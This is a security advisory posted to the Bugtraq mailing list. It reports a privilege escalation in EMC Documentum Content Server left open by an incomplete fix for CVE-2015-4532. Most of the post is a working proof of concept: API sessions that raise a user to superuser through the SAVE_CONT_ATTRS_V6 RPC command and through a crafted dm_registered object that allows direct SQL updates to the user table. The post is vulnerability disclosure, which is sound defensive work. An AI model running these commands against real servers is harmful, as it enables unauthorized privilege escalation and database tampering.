bugtraq - Privilege escalation through RPC commands in EMC Documentum Content Server (incomplete fix in CVE-2015-4532)

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <60C559DCBFAA44BBA44AE7FF06F90BD8@andreyTHINK420>
Date: Wed, 19 Aug 2015 21:39:43 +1000
From: <andrew@...filov.tel>
To: "Bugtraq" <bugtraq@...urityfocus.com>
Subject: Privilege escalation through RPC commands in EMC Documentum Content Server (incomplete fix in CVE-2015-4532)

Product: EMC Documentum Content Server
Vendor: EMC
Version: ANY
CVE: N/A
Risk: High
Status: public/not fixed

For detailed description see attached VRF#HUFG9EBA.txt and VRF#HX5OLZ0F.txt, 
for vendor announcement see CVE-2015-4532 in 
http://seclists.org/bugtraq/2015/Aug/86. The problem is PoC code provided in 
VRF#HUFG9EBA.txt and VRF#HX5OLZ0F.txt misses two obvious points:

1. Content Server supports about 400 undocumented RPC commands, but PoC code 
covers only 33 of them, for example, all versions of EMC Documentum Content 
Server support SAVE_CONT_ATTRS_V6 RPC command, this RPC command has the same 
behaviour as SAVE_CONT_ATTRS from VRF#HUFG9EBA.txt and hence it is 
vulnerable:

API> retrieve,c,dm_user where user_name=USER
...
11024be980000900
API> get,c,l,user_privileges
...
0
API> get,c,l,i_vstamp
...
1
API> apply,c,11024be980000900,SAVE_CONT_ATTRS_V6,
        OBJECT_TYPE,S,dm_user,IS_NEW_OBJECT,B,F,
        i_vstamp,I,1,user_privileges,I,16
...
q0
API> ?,c,q0
RESULT
------------
           1
API> revert,c,l,
...
OK
API> get,c,l,user_privileges
...
16


2. Creating malicious user with superuser privileges or malicious docbase 
method is not the only option to escalate privileges, demonstration:

--
-- acquiring r_object_id for brand new
-- dm_registered object
--
API> apply,c,,NEXT_ID_LIST,TAG,I,25,HOW_MANY,I,1
...
q0
API> ?,c,q0
next_id
----------------
19024be98001fd0b
(1 row affected)

--
-- Creating brand new dm_registered object
--
API> apply,c,19024be98001fd0b,SysObjSave,
          OBJECT_TYPE,S,dm_registered,
          IS_NEW_OBJECT,B,T,
          i_vstamp,I,0,
          table_name,S,dm_user_s,
          table_owner,S,repo,
          owner_name,S,repo,
          world_permit,I,7,
          object_name,S,dm_user_s,
          owner_table_permit,I,15,
          group_table_permit,I,15,
          world_table_permit,I,15,
          r_object_type,S,dm_registered
...
q0
API> ?,c,q0
result
------------
           1
(1 row affected)

--
-- Now attacker is able to modify database tables
--
API> ?,c,select count(*) from dm_dbo.dm_user_s
count(*)
----------------------
                  7930
(1 row affected)

API> ?,c,update dm_dbo.dm_user_s set user_privileges=16
           where user_name=USER
rows_updated
------------
           1
(1 row affected)

API> ?,c,select user_privileges from dm_dbo.dm_user_s
           where user_name=USER
user_privileges
---------------
             16
(1 row affected)


__
Regards,
Andrey B. Panfilov

View attachment "VRF#HUFG9EBA.txt" of type "text/plain" (9449 bytes)

View attachment "VRF#HX5OLZ0F.txt" of type "text/plain" (10342 bytes)